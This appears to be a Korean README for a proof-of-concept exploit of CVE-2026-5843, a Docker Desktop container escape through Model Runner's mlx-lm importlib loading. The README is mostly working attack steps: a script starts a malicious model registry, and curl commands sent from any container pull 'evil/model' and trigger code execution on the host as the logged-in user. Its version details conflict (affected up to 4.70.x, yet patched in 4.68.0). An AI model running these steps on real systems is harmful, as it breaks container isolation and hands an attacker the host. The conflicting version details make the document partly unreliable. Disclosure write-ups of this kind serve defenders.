
mlx-metal importlib을 통한 Docker 컨테이너 탈출 PoC
mlx-lm의 model_file importlib 실행 경로를 악용하여 악성 모델을 제공하는 최소 OCI 레지스트리입니다. Docker Model Runner가 추론을 위해 모델을 로드할 때 model.py가 호스트에서 로그인한 사용자로 실행됩니다.
요구 사항: Model Runner가 활성화된 Docker Desktop ≤ 4.70.x (Apple Silicon)
# 1. Start the registry on the host
python3 poc_cve_2026_5843.py
# 2. From any container on the Docker network
docker run -it --rm curlimages/curl sh
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name":"localhost:5555/evil/model:latest"}'
curl --max-time 120 -X POST http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"localhost:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
출력은 호스트의 ~/Desktop/mlx.txt에 작성됩니다.
전체 라이트업: https://davidrochester.com/posts/container-escape-via-inference
trust_remote_code=True, 동일한 공격 표면, Docker Desktop 4.68.0에서 패치됨